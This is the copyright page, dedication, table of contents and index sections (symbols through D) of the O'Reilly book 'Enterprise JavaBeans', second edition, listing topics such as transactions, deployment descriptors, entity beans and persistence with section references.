Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Gabriel® Original Tinkertoy® Construction Set image in association with Java™ Distributed Computing is a trademark of O'Reilly & Associates, Inc.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Previous | Home | Next
Table of Contents | Book Index | Dedication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dedication (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Dedication

For my wife and best friend, Hollie.

previous | Home | Next
Copyright | Book Index | 0.1. Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprise JavaBeans (Enterprise JavaBeans)

by Richard Monson-Haefel
ISBN 1-56592-869-5E
Second edition, published March 2000.
(See the catalog page for this book.)

Search the text of Enterprise JavaBeans™.

Table of Contents

Copyright
Dedication
Preface
Chapter 1: Introduction
Chapter 2: Architectural Overview
Chapter 3: Resource Management and the Primary Services
Chapter 4: Developing Your First Enterprise Beans
Chapter 5: The Client View
Chapter 6: Entity Beans
Chapter 7: Session Beans
Chapter 8: Transactions
Chapter 9: Design Strategies
Chapter 10: XML Deployment Descriptors
Chapter 11: Java 2, Enterprise Edition
Appendix A: The Enterprise JavaBeans API
Appendix B: State and Sequence Diagrams
Appendix C: EJB Vendors
Appendix D: New Features in EJB 1.1
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprise JavaBeans--Index

Enterprise Java™Beans Search this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
D.6. Looking Ahead to EJB 2.0 | index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0

2-PC (see two-phase commit protocol)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A

access control: 3.2.6 Security
deployment descriptor, setting in: 3.2.6.2 EJB 1.0: Method-driven access control
EJB 1.0 vs. EJB 1.1: 3.2.6 Security
method-driven: 3.2.6.2 EJB 1.0: Method-driven access control
role-driven: 3.2.6.1 EJB 1.1: Role-driven access control
security roles, using for: 6.2.4 EJB 1.1: EJBContext
6.2.5 EJB 1.0: EJBContext
AccessControlEntry class: 2.1.2.1 EJB 1.0: Deployment descriptors
3.2.6.2 EJB 1.0: Method-driven access control
3.2.6.2 EJB 1.0: Method-driven access control
EJB API: A.2.1 AccessControlEntry
accessing EJB references
EJB Versions 1.0 and 1.1: 7.3.1.4 TravelAgentBean: The bean class
accessors: 6.1.1.1 Set and get methods
(see also set and get methods)
bulk accessors: 9.2.3 Bulk Accessors
accuracy (in transactions): 8.1 ACID Transactions
ACID transactions: 8.1 ACID Transactions
atomicity of transactions: 8.1 ACID Transactions
8.1.1 Is the TravelAgent Bean Atomic?
consistency of transactions: 8.1.2 Is the TravelAgent Bean Consistent?
durability of transactions: 8.1 ACID Transactions
8.1.4 Is the TravelAgent Bean Durable?
isolation in transactions: 8.1 ACID Transactions
8.1.3 Is the TravelAgent Bean Isolated?
activation
container-managed persistence: B.1.2 Sequence Diagrams for Container-Managed Persistence
entity beans, transition from Pooled to Ready state: 6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
stateful session beans: 3.1.2 The Activation Mechanism
B.2.2 Stateful Session Beans
stateless session beans and: 7.2.2.1 Transitioning to the Method-Ready Pool
7.2.2.2 Life in the Method-Ready Pool
transient fields: 7.4.3 Passivated State
ActiveX GUI component model: 1.6.3 Benefits of a Standard Server-Side Component Model
actual vs. declared data types: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
adapters (beans): 9.4 Bean Adapters
9.4 Bean Adapters
adapter classes, limitations of use: 9.4 Bean Adapters
API, Enterprise JavaBeans: A. The Enterprise JavaBeans API
javax.ejb package: A.1 Package: javax.ejb
applets
with GUI fields: 7.3.1.3 Taking a peek at the client view
HTML advantages over: 11.3 Web Components and EJB
application, assembling beans into: 10.6 Describing Bean Assembly
application client component: 11.4.1 J2EE Application Client Components
application deployment descriptor: 11.4.1 J2EE Application Client Components
application exceptions: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
6.2.2 Exception Handling
container-initiated transactions: 8.7.1 Container-Initiated Transactions
DuplicateKeyException: A.1.2 DuplicateKeyException
FinderException: 6.1.3.1 The find methods
A.1.11 FinderException
A.1.11 FinderException
(see also FinderException)
ObjectNotFoundException: A.1.15 ObjectNotFoundException
remote interface
stateful session beans: 7.3.1.1 TravelAgent: The remote interface
stateless session beans: 7.1.2.4 PaymentException: An application exception
RemoveException: A.1.16 RemoveException
stateless session beans: 7.1.2.2 ProcessPayment: The remote interface
system-level exceptions vs.: 7.1.2.4 PaymentException: An application exception
in transactions: 8.6.1.2 Application exceptions
application servers: 1.1.3 Component Transaction Monitors
architecture
distributed objects: 1.3 Distributed Object Architectures
EJB and servlets/JSP, using together: 11.3 Web Components and EJB
Enterprise JavaBeans: 2. Architectural Overview
three-tier: 1.1.1 Distributed Objects
array of Strings, converting for storage in relational database: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
assembling beans into an application: 10.6 Describing Bean Assembly
assembly-descriptor element: 4.2.5 EJB 1.1: The Deployment Descriptor
10.4 The Descriptor's Body
10.5 Describing Beans
10.6 Describing Bean Assembly
asterisk (*) as wildcard for bean methods: 10.6.1 Specifying a Bean's Transactional Attributes
10.6.3.1 Wildcard declarations
asynchronous messaging: 1.5.1 TP Monitors
ATM (automatic teller machine) transactions: 8.1 ACID Transactions
atomicity of transactions: 8.1 ACID Transactions
8.1.1 Is the TravelAgent Bean Atomic?
attributes
in deployment descriptors: 10.1 What Is an XML Deployment Descriptor?
10.6.1 Specifying a Bean's Transactional Attributes
in remote interface: 4.2.1 Cabin: The Remote Interface
transactions: 8.2.2 Transaction Attributes
isolation levels: 8.3.3.2 EJB 1.0 transaction isolation control
TX_BEAN_MANAGED: 8.5 Explicit Transaction Management
XML vs. HTML: 10.1 What Is an XML Deployment Descriptor?
authentication: 3.2.6 Security
application client components and: 11.4.1 J2EE Application Client Components
EJB, handling with JNDI: 3.2.6 Security
res-auth element, specifying in: 6.2.6.1 EJB 1.1: Using JDBC in EJB
10.5.5 References to External Resources

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B

bean adapters: 9.4 Bean Adapters
9.4 Bean Adapters
bean class: 2.1.1 Classes and Interfaces
2.1.1.3 The bean class
business methods, defining in: 2.1.1.3 The bean class
4.2.4 CabinBean: The Bean Class
callback methods: 4.2.4 CabinBean: The Bean Class
9.4 Bean Adapters
client API and: 5.2.3.2 Bean metadata
constructors, not defining in: 7.2.2.1 Transitioning to the Method-Ready Pool
container-managed entity beans: 6.1.5 The ShipBean Class
create and find methods: 5.2.3.4 Creating and finding beans
declared fields: 4.2.4 CabinBean: The Bean Class
defining: 2.1.1.3 The bean class
ejb-class element: 2.1.2.2 EJB 1.1: Deployment descriptors
in ejb-jar files: 10.7 The ejb-jar File
EJB object, wrapping in: 2.1.3.1 The EJB object
entity beans, defining (example): 4.2.4 CabinBean: The Bean Class
find methods, return types for: 6.2.10 ejbFind( ) Methods
interfaces, exceptions in: 9.5.2 The Business Interface Alternative
newInstance( ): 6.3.2 The Pooled State
persistence logic, writing into: 6.2 Bean-Managed Persistence
private helper method: 7.1.2.6 ProcessPaymentBean: The bean class
remote interface, problems with implementing: 9.5 Implementing a Common Interface
session beans: 4.3.3 TravelAgentBean: The Bean Class
EJB 1.2: 4.3.3.2 EJB 1.0: TravelAgentBean
stateful session beans: 7.3.1.4 TravelAgentBean: The bean class
stateless session beans: 7.1.2.6 ProcessPaymentBean: The bean class
bean instances
business method invocation: 3.2.1.1 Reentrance
concurrent access to, prohibiting in EJB: 3.2.1 Concurrency
creating: 6.3.2 The Pooled State
sequence of events: 6.1.8.3 ejbCreate( ) and ejbPostCreate( ) sequence of events
EntityContext, assigning to: 6.2.3 EntityContext
initializing with ejbPostCreate( ): 6.1.8.2 ejbPostCreate( )
intra-instance method invocation: 3.2.1.1 Reentrance
life cycle of: 3.1.1.2 Overview of state transitions
3.1.1.2 Overview of state transitions
(see also life cycle)
passing reference to EntityContext: 6.1.7 The EntityContext
pooling: 6.1.7 The EntityContext
6.1.7 The EntityContext
6.2.10 ejbFind( ) Methods
Ready state: 6.3.3 The Ready State
reentrance: 3.2.1.1 Reentrance
swapping: 3.1.1.2 Overview of state transitions
bean-managed persistence (see under persistence)
Bean Managed transaction attribute: 8.2.3 Transaction Attributes Defined
bean-managed transactions: 8.5 Explicit Transaction Management
10.5.1 Session and Entity Beans
exceptions in: 8.7.3 Bean-Managed Transactions
transaction propagation: 8.5.1 Transaction Propagation in Bean-Managed Transactions
beans: 5.2.3.4 Creating and finding beans
(see also bean class; bean instances; individual bean categories)
assembling into application: 10.6 Describing Bean Assembly
connections to containers: 6.2.6.2 EJB 1.0: Using JDBC in EJB
creating and finding: 5.2.3.4 Creating and finding beans
describing in enterprise-bean element: 10.5 Describing Beans
finding: 5.1 Locating Beans with JNDI
handles: 5.2.5.5 The bean handle
identity, comparing for: 5.2.5.3 Comparing beans for identity
non-transactional: 8.4 Non-Transactional Beans
passing by value vs.: 9.2.1 Dependent Objects
removing: 5.2.3.1 Removing beans
5.2.5.4 Removing beans
signing on to connection factory: 10.5.5 References to External Resources
source code, downloading from O'Reilly web site: 7.1.1 Downloading the Missing Pieces
state and sequence diagrams: B. State and Sequence Diagrams
transactional attributes, specifying in deployment descriptor: 10.6.1 Specifying a Bean's Transactional Attributes
begin( ) (UserTransaction): 8.5 Explicit Transaction Management
8.5.3 UserTransaction
binding objects to names or identifiers: 3.2.5 Naming
books, ordering online (transactions): 8.1 ACID Transactions
bulk accessors: 9.2.3 Bulk Accessors
business concepts: 6.1.1.1 Set and get methods
entity bean relationships vs.: 9.7.1.1 Maintaining the database mapping
implementing as entity beans: 2.1 The Enterprise Bean Component
6. Entity Beans
business interface, use by bean class and remote interface: 9.5.2 The Business Interface Alternative
business logic
encapsulating into business objects: 1.1.2 Server-Side Components
encapsulation in stateful session beans: 7.3 The Stateful Session Bean
problems, representing by application exception: 7.1.2.4 PaymentException: An application exception
business methods
bean class, implementing for bean: 2.1.1 Classes and Interfaces
bookPassage( ): 7.1.2 The ProcessPayment Bean
defining in bean class: 2.1.1.3 The bean class
4.2.4 CabinBean: The Bean Class
6.1.5 The ShipBean Class
defining in business interface: 9.5.2 The Business Interface Alternative
defining in remote interface: 2.1.1 Classes and Interfaces
4.2.1 Cabin: The Remote Interface
A.1.7 EJBObject
invocation by clients: 3.2.1.1 Reentrance
returning wide EJB object type, narrowing remote reference: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
set and get methods, defining as: 6.1.5 The ShipBean Class
on stubs: 1.3 Distributed Object Architectures
2.1.3.2 The EJB home
transaction attributes in deployment descriptors: 10.6.1 Specifying a Bean's Transactional Attributes
business objects: 1.1.2 Server-Side Components
granularity (scope): 9.3 Improved Performance with Session Beans
as object servers: 1.3 Distributed Object Architectures
server-side component models, defining responsibilities of: 1.6 CTMs and Server-Side Component Models
transactions vs.: 8.1 ACID Transactions
business system transactions (see transactions)
byte arrays and Java serialization (database mapping): 9.7.2.2 Mapping serializable to VARBINARY

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C

C++ language: 1.1.2 Server-Side Components
callback methods: 6.3 The Life Cycle of an Entity Bean
(see also state; life cycle)
defining in bean class: 4.2.4 CabinBean: The Bean Class
ejbStore( ) and ejbLoad( ): 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
entity beans: 6.3 The Life Cycle of an Entity Bean
EntityBean interface: 6.1.5 The ShipBean Class
state management: 2.1.1.3 The bean class
3.1.2 The Activation Mechanism
unnecessary inclusion in bean class: 9.4 Bean Adapters
case sensitivity, XML tag names: 10.1 What Is an XML Deployment Descriptor?
casting
programming language support for: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
chaining in stateful session beans: 9.10 Avoid Chaining Stateful Session Beans
checked subsystem exceptions: 6.2.2 Exception Handling
7.1.2.4 PaymentException: An application exception
7.4.3.1 system exceptions
in transactions: 8.7 Exceptions and Transactions
wrapping in EJBException and RemoteException: 6.2.2 Exception Handling
Class class: 6.1.2 The Primary Key
6.3.2 The Pooled State
classes: 2.1.1 Classes and Interfaces
2.1.1 Classes and Interfaces
2.1.1.5 What about session beans?
in component models: 1.4 Component Models
client applications
creating
container-managed entity beans: 6.1.9 The Client Application
entity beans (example): 4.2.10 Creating a Client Application
session beans (example): 4.3.9 Creating a Client Application
HTML advantages over: 11.3 Web Components and EJB
PersonClient application (example): 1.3.1 Rolling Your Own Distributed Object
session beans as extension of: 2.1 The Enterprise Bean Component
stateful session beans as extensions of: 7.3 The Stateful Session Bean
client-initiated transactions, exceptions in: 8.7.2 Client-Initiated Transactions
client-jar file: 10.7.1 The client-jar File
client-side API: 5.2 The EJB Client-Side API
EJBObject interface: 5.2.5 EJBObject, Handle, and Primary Key
5.2.5.1 Getting the EJBHome
primary key: 5.2.5.2 Primary key
home interface: 5.2.3 The Home Interface
5.2.3.4 Creating and finding beans
remote interface: 5.2.4 The Remote Interface
client stubs (see stubs)
client view, EJB: 3.2.4 Distributed Objects
5. The Client View
stateful session beans: 7.3.1.3 Taking a peek at the client view
CLIENT_IDENTITY mode: 3.2.6.2 EJB 1.0: Method-driven access control
clients
Identity object, obtaining for: 6.2.5 EJB 1.0: EJBContext
JavaBeans component model: 1.4 Component Models
PersonClient example: 1.3.1 Rolling Your Own Distributed Object
security identities: 3.2.6 Security
sharing distributed objects: 3.2.1 Concurrency
closing tags, XML vs. HTML: 10.1 What Is an XML Deployment Descriptor?
cmp-field elements: 4.2.5 EJB 1.1: The Deployment Descriptor
10.5.1 Session and Entity Beans
COBOL or PL/1 applications, replacing with business objects: 1.1.1 Distributed Objects
code for beans, downloading from O'Reilly web site: 7.1.1 Downloading the Missing Pieces
Collection type: 6.1.3.1 The find methods
multi-entity find methods, returning: 6.2.1 Making the ShipBean a Bean-Managed Entity
COM (Common Object Model) components: 1.6.1 MTS
comments, EJB, versions 1.1 and 1.0: 2.1.1.3 The bean class
commit( ) (UserTransaction): 8.5 Explicit Transaction Management
8.5.3 UserTransaction
common interface, implementing: 9.5.2 The Business Interface Alternative
component models: 1.4 Component Models
1.6.3 Benefits of a Standard Server-Side Component Model
(see also server-side component models)
enterprise beans (EJB): 2.1 The Enterprise Bean Component
component transaction monitors (see CTMs)
compound primary keys: 6.1.2 The Primary Key
hash codes in: 9.1 Hash Codes in Compound Primary Keys
concurrency: 3.2.1 Concurrency
policies of entity beans: 2.1.2.2 EJB 1.1: Deployment descriptors
reentrance and: 3.2.1.1 Reentrance
stateful session beans, not supporting: 7.3 The Stateful Session Bean
connection factory, bean signing on to: 10.5.5 References to External Resources
connections (network), reducing with session beans: 2.2.2 Modeling Workflow with Session Beans
connectivity, J2EE systems with different: 11.4.3 Connectivity and Interoperability
consistency of transactions: 8.1 ACID Transactions
8.1 ACID Transactions
8.1.2 Is the TravelAgent Bean Consistent?
balancing performance against: 8.3.4 Balancing Performance Against Consistency
constructors: 6.1.2 The Primary Key
defining in bean class, prohibition of: 7.2.2.1 Transitioning to the Method-Ready Pool
no-argument for container-managed persistence: 6.1.2 The Primary Key
container-initiated transactions, exceptions in: 8.7.1 Container-Initiated Transactions
container-managed persistence (see under persistence)
container-managed transactions: 10.5.1 Session and Entity Beans
container-transaction element: 4.2.5 EJB 1.1: The Deployment Descriptor
8.2.2.1 EJB 1.1: Setting a transaction attribute
10.6 Describing Bean Assembly
containers
adding enterprise beans to: 2.1.3.3 Deploying a bean
authentication, performing: 6.2.6.1 EJB 1.1: Using JDBC in EJB
bean instances, passivation: 6.3.3.4 Transitioning from the Ready State to the Pooled state via passivation
bean instances, releasing: 6.3.5 End of the Life Cycle
connections to beans: 6.2.6.2 EJB 1.0: Using JDBC in EJB
EJB home, generating: 2.1.3.2 The EJB home
enterprise beans and: 2.3 The Bean-Container Contract
entity context assignment: 6.3.2 The Pooled State
runtime exceptions, automatic handling of: 6.2.2 Exception Handling
servers and: 2.3.1 The Container-Server Contract
servers vs.: 2.1.1 Classes and Interfaces
technology changes: 5.2.5.5 The bean handle
Context class: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
ControlDescriptor class: 2.1.2.1 EJB 1.0: Deployment descriptors
3.2.6.2 EJB 1.0: Method-driven access control
3.2.6.2 EJB 1.0: Method-driven access control
EJB API: A.2.2 ControlDescriptor
entity beans (example): 4.2.6 EJB 1.0: The Deployment Descriptor
isolation levels in: 8.3.3.2 EJB 1.0 transaction isolation control
session beans (example): 4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
conventions, naming: 2.1.1 Classes and Interfaces
conversational state: 2.2.2.1 Stateless and stateful session beans
7.3.1.4 TravelAgentBean: The bean class
data types in: 7.4.3 Passivated State
entity beans: 3.1.2 The Activation Mechanism
JNDI context (EJB 1.0), not part of: 7.3.1.4 TravelAgentBean: The bean class
object serialization, preserving with: 3.1.2 The Activation Mechanism
stateful session beans: 3.1.2 The Activation Mechanism
7. Session Beans
7.3 The Stateful Session Bean
7.3 The Stateful Session Bean
stateless session beans: 7. Session Beans
7.1 The Stateless Session Bean
CORBA: 1.1.1 Distributed Objects
3.2.4 Distributed Objects
connecting to via JavaIDL: 11.4.3 Connectivity and Interoperability
CTMs, differences among vendors: 1.6.2 EJB and CORBA CTMs
IDL (Interface Definition Language): 3.2.4 Distributed Objects
IIOP protocol
casting, not supporting: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
Java RMI-IIOP, compliance with: 5.2.1 EJB 1.1: Java RMI-IIOP Conformance Requirement
Object Request Brokers (see ORBS)
security and transactions, attempt to standardize: 1.6.2 EJB and CORBA CTMs
services: 3.2 Primary Services
naming service: 5.1 Locating Beans with JNDI
create( ) (EJBHome): 4.2.2 CabinHome: The Home Interface
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
create methods
beans, initializing: 2.1.1.2 The home interface
defining appropriate: 5.2.3.4 Creating and finding beans
entity beans, without: 9.6 Entity Beans Without Create Methods
home interface: 2.1.3.2 The EJB home
5.2.3.4 Creating and finding beans
6.1.3 The Home Interface
6.1.8 The Create Methods
CreateException: A.1.1 CreateException
transactional attributes required in deployment descriptor: 10.6.1 Specifying a Bean's Transactional Attributes
CreateException: 6.1.3 The Home Interface
6.1.3 The Home Interface
6.2.7 The ejbCreate( ) Method
8.6.1.2 Application exceptions
EJB API: A.1.1 CreateException
creating and finding beans: 5.2.3.4 Creating and finding beans
CTMs (component transaction monitors): 1. Introduction
1.1.3 Component Transaction Monitors
1.1.3 Component Transaction Monitors
1.5 Component Transaction Monitors
3.2.2 Transactions
common problems: 9.3 Improved Performance with Session Beans
EJB as standard component model: 2. Architectural Overview
as hybrids of ORBs and TP monitors: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
relational databases, analogies to: 1.5.4 Analogies to Relational Databases
resource management: 3. Resource Management and the Primary Services
9.3.2 Resource Consumption
server-side component models and: 1.6 CTMs and Server-Side Component Models
transactional attributes and: 8.2.2 Transaction Attributes
custom primary keys, advantages of: 10.5.2 Specifying Primary Keys

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

data mapping (see database mapping)
data types
actual vs. declared: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
container-managed fields: 6.1 Container-Managed Persistence
conversational state: 7.4.3 Passivated State
env-entry-type element: 10.5.3 Environment Entries
Eumeration and Collection: 6.1.3.1 The find methods
find methods, returning: 6.2.10 ejbFind( ) Methods
Java language: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
Java RMI return and parameter types: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
JDBC type VARBINARY: 9.7.1.2 Mapping serializable to VARBINARY
multi-entity find methods, returning: 6.2.1 Making the ShipBean a Bean-Managed Entity
primary keys: 10.5.2 Specifying Primary Keys
Object type for undefined: 6.1.2.3 EJB 1.1: Undefined primary keys
using String and wrapper classes for: 6.1.2.2 Single-field key
strings, array of, converting for storage in relational database: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
database locks (transactions): 8.3 Isolation and Database Locking
8.3.2 Database Locks
8.3.4.2 EJB 1.0: Controlling isolation levels
isolation levels, application of: 8.3.3 Transaction Isolation Levels
database mapping
bean-managed persistence, bean class fields: 6.2 Bean-Managed Persistence
business concepts vs. (entity bean relationships): 9.7.1.1 Maintaining the database mapping
byte arrays and Java serialization: 9.7.2.2 Mapping serializable to VARBINARY
entity bean relationships: 9.7.1.1 Maintaining the database mapping
entity beans: 4.2.8 Creating a CABIN Table in the Database
4.2.9.2 EJB 1.0 deployment tools
native Java persistence: 9.7.2.3 Native Java persistence
persistent fields: 2.1.1.4 The primary key
2.1.1.4 The primary key
(see also persistence)
primary key, preserving in: 9.7.1.3 Preserving the primary key
vectors, use in: 9.7.2.1 One-to-many database mapping
vendors of EJB containers, tools for: 2.1.1.4 The primary key
database table
SQL definition: 6.1 Container-Managed Persistence
stateless session beans, definitions for: 7.1.1 Downloading the Missing Pieces
databases: 6.2.6 Obtaining a Connection to the Database
(see also relational databases; object-oriented databases)
access by web componenets using JDBC: 11.3 Web Components and EJB
container-managed fields, synchronizing to: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
direct access vs. entity beans: 6. Entity Beans
entities, adding to (bean-managed persistence): 6.2.7 The ejbCreate( ) Method
indexing objects, different methods for: 6.1.2.3 EJB 1.1: Undefined primary keys
primary keys as pointers to: 2.1.1 Classes and Interfaces
rollback/commit control in updating: 8.2.4 Transaction Propagation
in three-tier distributed object architecture: 1.1.1 Distributed Objects
updates (stateful session beans): 8.8 Transactional Stateful Session Beans
DataSource resource factory, declaring: 6.2.11 EJB 1.1: Deploying the Bean-Managed Ship Bean
Date, using as primary key: 10.5.2 Specifying Primary Keys
DCOM (see under Microsoft)
debugger, IDE with: 4.1.1 Setting Up Your Java IDE
declarations, named methods in deployment descirptor: 10.6.3.2 Named method declarations
declarative transactional management: 8.2 Declarative Transaction Management
declared data types, actual data types vs.: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
declared fields, bean class: 4.2.4 CabinBean: The Bean Class
dependent classes
defining for stateless session bean: 7.1.2.3 Dependent classes: The CreditCard and Check classes
entity beans vs.: 7.1.2.3 Dependent classes: The CreditCard and Check classes
passing by value: 7.3.1.1 TravelAgent: The remote interface
dependent objects
passing by value: 9.2 Passing Objects by Value
validation rules in: 9.2.2 Validation Rules in Dependent Objects
deployment: 2.1.3.3 Deploying a bean
entity beans: 4.2.9 Deploying the Cabin Bean
EJB 1.1 deployment tools: 4.2.9 Deploying the Cabin Bean
javax.ejb.deployment package: 4.2.9.2 EJB 1.0 deployment tools
A.2 Package: javax.ejb.deployment (EJB 1.0 Only)
session beans: 4.3.8 Deploying the TravelAgent Bean
deployment descriptors
bean-managed entity bean (EJB 1.0): 6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean
container-managed entity beans
EJB 1.1: 6.1.8.5 EJB 1.1: Deploying the ShipBean
EJB Version 1.1: 2.1.2.2 EJB 1.1: Deployment descriptors
isolation levels, assigning (EJB 1.0): 8.3.4.2 EJB 1.0: Controlling isolation levels
JAR files, packaging in: 2.1.2 Deployment Descriptors and JAR Files
properties in: 7.1.2.6 ProcessPaymentBean: The bean class
session beans (EJB 1.0): 4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
stateful session beans
EJB 1.0: 7.3.1.8 EJB 1.0: The TravelAgent deployment descriptor
timeouts, excluding in EJB 1.1: 7. Session Beans
stateless session bean (EJB 1.0): 7.1.2.10 EJB 1.0: The ProcessPayment bean's deployment descriptor
transaction attributes, setting (EJB 1.0): 8.2.2.2 EJB 1.0: Setting a transaction attribute
XML-based: 10.1 What Is an XML Deployment Descriptor?
D.3 XML Deployment Descriptors
bean-managed entity bean: 6.2.11 EJB 1.1: Deploying the Bean-Managed Ship Bean
complete example: 10.2 The Contents of a Deployment Descriptor
document body: 10.4 The Descriptor's Body
EJB references, declaring: 7.3.1.4 TravelAgentBean: The bean class
entity bean, creating for: 4.2.4 CabinBean: The Bean Class
headers: 10.3 The Document Header
method-permission element: 3.2.6.1 EJB 1.1: Role-driven access control
primkey-field element: 6.1.2.2 Single-field key
resources, connection to: 6.2.6.1 EJB 1.1: Using JDBC in EJB
security roles: 3.2.6.1 EJB 1.1: Role-driven access control
Servlets and Java Server Pages (JSP), packaging: 11. Java 2, Enterprise Edition
session beans: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
stateful session beans: 7.3.1.7 EJB 1.1: The TravelAgent deployment descriptor
stateless session bean: 7.1.2.9 EJB 1.1: The ProcessPayment bean's deployment descriptor
transaction attributes: 8.2.2 Transaction Attributes
DeploymentDescriptor class: 2.1.2.1 EJB 1.0: Deployment descriptors
access control setting in: 3.2.6.2 EJB 1.0: Method-driven access control
defining: 2.1.2.1 EJB 1.0: Deployment descriptors
EJB API: A.2.3 DeploymentDescriptor
describing bean assembly: 10.6 Describing Bean Assembly
description element: 10.4 The Descriptor's Body
in env-ref element: 10.5.4 References to Other Beans
in security-role element of assembly-descriptor: 10.6.2 Specifying Security Roles and Method Permissions
in method element: 10.6.3 Identifying Specific Methods
in resource-ref element: 10.5.5 References to External Resources
in security-role-ref element: 10.5.6 Security Roles
in session or entity element: 10.5.1 Session and Entity Beans
deserialization: 5.2.5.2 Primary key
(see also object serialization)
primary key: 5.2.5.2 Primary key
design strategies: 9. Design Strategies
bean adapters: 9.4 Bean Adapters
chaining in stateful session beans, avoiding: 9.10 Avoid Chaining Stateful Session Beans
common interface, implementing: 9.5 Implementing a Common Interface
entity bean relationships: 9.7 Entity Bean Relationships
entity beans, not using: 9.9 When Entity Beans Are Not an Option
hash codes in compound primary keys: 9.1 Hash Codes in Compound Primary Keys
object-to-relational mapping tools: 9.8 Object-to-Relational Mapping Tools
passing objects by value: 9.2 Passing Objects by Value
session beans, improving performance with: 9.3 Improved Performance with Session Beans
direct database access
object-to-relational mapping: 9.9.2.2 Direct access with object-to-relational mapping tools
servers supporting session beans only: 9.9.2.1 Direct database access with JDBC
directory services: 5.1 Locating Beans with JNDI
(see also JNDI)
JNDI drivers for: 5.1 Locating Beans with JNDI
naming and directory services, distributed objects: 3.2.5 Naming
directory structure
entity bean: 4.2.1 Cabin: The Remote Interface
organizing beans in: 4.2.6 EJB 1.0: The Deployment Descriptor
session bean: 4.3 Developing a Session Bean
dirty reads: 8.3.1 Dirty, Repeatable, and Phantom Reads
8.3.1.1 Dirty reads
display-name element: 10.4 The Descriptor's Body
session or entity element: 10.5.1 Session and Entity Beans
distributed component servers (see CTMs)
distributed object systems
HTTP supporting access from anonymous clients: 11.3 Web Components and EJB
RMI vs. RPC: 1.5.1 TP Monitors
sharing distributed objects among clients: 3.2.1 Concurrency
Titan Cruises example: 1.7 Titan Cruises: An Imaginary Business
distributed objects: 1.1.1 Distributed Objects
3.2.4 Distributed Objects
architecture for: 1.3 Distributed Object Architectures
in CTMs: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
CTMs, providing system-level functionality for: 1.5.4 Analogies to Relational Databases
implementing manually (example): 1.3.1 Rolling Your Own Distributed Object
location transparency: 1.3.1 Rolling Your Own Distributed Object
naming and directory services: 3.2.5 Naming
ORBs and: 1.5.2 Object Request Brokers
distributed transactions (2-PC): 8.2.4 Transaction Propagation
!DOCTYPE element: 2.1.2.2 EJB 1.1: Deployment descriptors
4.2.5 EJB 1.1: The Deployment Descriptor
Document Type Definition (see DTD)
Does Not Exist state: 6.3.1 Does Not Exist
stateful session beans: 7.4.1 Does Not Exist
stateless session beans: 7.2.1 Does Not Exist
transition from Method-Ready Pool to: 7.2.2.3 Transitioning out of the Method-Ready Pool: The death of a stateless bean instance
doGet( ) (Servlet): 11.1 Servlets
doPost( ) (HttpServlet): 11.1 Servlets
drivers, JNDI: 5.1 Locating Beans with JNDI
DTD (Document Type Definition): 10.1 What Is an XML Deployment Descriptor?
XML-based deployment descriptors: 2.1.2.2 EJB 1.1: Deployment descriptors
elements in: 2.1.2.2 EJB 1.1: Deployment descriptors
duplicate records, handling in EJB: 7.3.1.5 Why use a Reservation entity bean?
DuplicateKeyException: 7.3.1.5 Why use a Reservation entity bean?
7.3.1.5 Why use a Reservation entity bean?
8.6.1.2 Application exceptions
EJB API: A.1.2 DuplicateKeyException
durability of transactions: 8.1 ACID Transactions
8.1.4 Is the TravelAgent Bean Durable?

